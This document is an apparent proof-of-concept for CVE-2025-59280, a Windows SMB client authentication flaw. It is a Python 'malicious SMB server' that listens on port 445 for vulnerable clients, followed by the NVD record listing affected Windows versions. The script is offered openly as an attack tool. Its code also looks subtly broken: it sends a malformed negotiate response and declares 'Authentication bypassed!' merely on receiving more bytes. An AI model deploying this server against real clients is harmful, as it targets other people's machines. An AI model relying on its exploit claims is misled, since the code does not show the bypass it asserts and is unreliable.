CVE-2025-59280

# CVE-2025-59280 - Windows SMB Client Improper Authentication # PoC for demonstrating SMB client authentication bypass # This PoC simulates a malicious SMB server that exploits improper authentication import socket import struct import threading class MaliciousSMBServer: """ Simulated malicious SMB server exploiting CVE-2025-59280. The vulnerability lies in the SMB client's failure to properly validate authentication responses, allowing tampering. """ def __init__(self, host='0.0.0.0', port=445): self.host = host self.port = port self.server_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) self.server_socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) def build_smb2_negotiate_response(self): """Build a malformed SMB2 Negotiate Response that exploits improper auth""" # SMB2 Header (64 bytes) header = b'\xfeSMB' # Protocol ID header += struct.pack('<H', 64) # Header length header += struct.pack('<H', 0) # Credit charge header += struct.pack('<I', 0) # Status (SUCCESS) header += struct.pack('<H', 0) # Command (Negotiate) header += struct.pack('<H', 1) # Credits requested header += struct.pack('<I', 0) # Flags header += struct.pack('<I', 0) # Next command header += struct.pack('<Q', 1) # Message ID header += struct.pack('<I', 0) # Reserved header += struct.pack('<I', 0) # Tree ID header += struct.pack('<Q', 0) # Session ID (exploited - bypassed auth) # Negotiate Response body body = struct.pack('<H', 0) # Structure size body += struct.pack('<H', 0x0311) # Dialect revision (SMB 3.1.1) body += struct.pack('<H', 0) # Negotiate context count body += struct.pack('<I', 0) # Capabilities body += struct.pack('<I', 65536) # Max transact size body += struct.pack('<I', 65536) # Max read size body += struct.pack('<I', 65536) # Max write size body += struct.pack('<Q', 0) # System time body += struct.pack('<Q', 0) # Server start time return header + body def handle_client(self, client_socket, address): """Handle incoming SMB client connection""" print(f"[+] Connection from {address}") try: # Receive client's negotiate request data = client_socket.recv(4096) if not data: return print(f"[+] Received {len(data)} bytes from client") # Send malformed response exploiting improper authentication response = self.build_smb2_negotiate_response() client_socket.send(response) print(f"[+] Sent exploit response ({len(response)} bytes)") # Receive subsequent data - client accepts tampered connection tampered_data = client_socket.recv(4096) if tampered_data: print(f"[!] Authentication bypassed! Received {len(tampered_data)} bytes") # Attacker can now tamper with the SMB session except Exception as e: print(f"[-] Error: {e}") finally: client_socket.close() def start(self): """Start the malicious SMB server""" self.server_socket.bind((self.host, self.port)) self.server_socket.listen(5) print(f"[*] Malicious SMB server listening on {self.host}:{self.port}") print("[*] Waiting for vulnerable Windows SMB client connections...") while True: client, addr = self.server_socket.accept() thread = threading.Thread(target=self.handle_client, args=(client, addr)) thread.daemon = True thread.start() if __name__ == '__main__': server = MaliciousSMBServer() server.start()

{"cve": {"id": "CVE-2025-59280", "sourceIdentifier": "[email protected]", "published": "2025-10-14T17:16:10.433", "lastModified": "2025-10-20T19:50:15.673", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper authentication in Windows SMB Client allows an unauthorized attacker to perform tampering over a network."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:N/I:L/A:N", "baseScore": 3.1, "baseSeverity": "LOW", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.6, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-287"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_10_1507:*:*:*:*:*:*:x64:*", "versionEndExcluding": "10.0.10240.21161", "matchCriteriaId": "030F3214-D6AF-40A9-9FC9-523AC9870581"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_10_1507:*:*:*:*:*:*:x86:*", "versionEndExcluding": "10.0.10240.21161", "matchCriteriaId": "4932CB20-D134-4EDF-8F21-F9D0AF80BFEA"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_10_1607:*:*:*:*:*:*:x64:*", "versionEndExcluding": "10.0.14393.8519", "matchCriteriaId": "D8145D41-BFB2-47A6-B5E5-1A038A27C1C1"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_10_1607:*:*:*:*:*:*:x86:*", "versionEndExcluding": "10.0.14393.8519", "matchCriteriaId": "3EE0CDB1-CBF3-45F2-8F0B-96A9D0757B42"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_10_1809:*:*:*:*:*:*:x64:*", "versionEndExcluding": "10.0.17763.7919", "matchCriteriaId": "E216CD5B-8885-4E17-8718-97E88A724A44"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_10_1809:*:*:*:*:*:*:x86:*", "versionEndExcluding": "10.0.17763.7919", "matchCriteriaId": "36E44227-0320-43B1-A0D9-EB28B25CDB4D"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_10_21h2:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.19044.6456", "matchCriteriaId": "1485A427-10FF-4C39-9911-4C6F1820BE7F"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_10_22h2:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.19045.6456", "matchCriteriaId": "26CAACAA-3FE8-4740-8CF2-6BF3D069C47F"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_11_22h2:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.22621.6060", "matchCriteriaId": "6F387FA2-66C8-4B70-A537-65806271F16A"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_11_23h2:*:*:*:*:*:*:*:*", "versionEndIncluding": "10.0.22631.6060", "matchCriteriaId": "4AF873E4-B2FE-4504-BFF0-FC71121FC9A4"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_11_24h2:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.26100.6899", "matchCriteriaId": "41E9F7AC-8E6D-43A0-A157-48A5E0B5BD0D"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_server_2008:-:sp2:*:*:*:*:x64:*", "matchCriteriaId": "2127D10C-B6F3-4C1D-B9AA-5D78513CC996"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_server_2008:-:sp2:*:*:*:*:x86:*", "matchCriteriaId": "AB425562-C0A0-452E-AABE-F70522F15E1A"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_server_2008:r2:sp1:*:*:*:*:x64:*", "matchCriteriaId": "AF07A81D-12E5-4B1D-BFF9-C8D08C32FF4F"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_server_2012:-:*:*:*:*:*:*:*", "matchCriteriaId": "A7DF96F8-BA6A-4780-9CA3-F719B3F81074"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_server_2012:r2:*:*:*:*:*:*:*", "matchCriteriaId": "DB18C4CE-5917-401E-ACF7-2747084FD36E"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_server_2016:*:*:*:*:*:*:*:*", "versionEndIncluding": "10.0.14393.8519", "matchCriteriaId": "860ADFF9-62D0-425B-9310-99ACFC92EB12"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_server_2019:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.17763.7919", "matchCriteriaId": "20810926-AEC9-4C09-9C52-B4B8FADECF3A"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_server_2022:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.20348.4294", "matchCriteriaId": "B1C1EA69-6BB8-4E59-8659-43581FDB48B7"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_server_2022_23h2:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.25398.1913", "matchCriteriaId": "370C12D6-90EF-44BE-8070-AA0080C12600"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_server_2025:*:*:*:*:*:*:*:*", "versionEndIncluding": "10.0.26100.6899", "matchCriteriaId": "CD6268EB-C42B-406F-B3FF-6E694F93BF41"}]}]}], "references": [{"url": "https://msrc.microsoft.com/update-guide/vulnerabil ... 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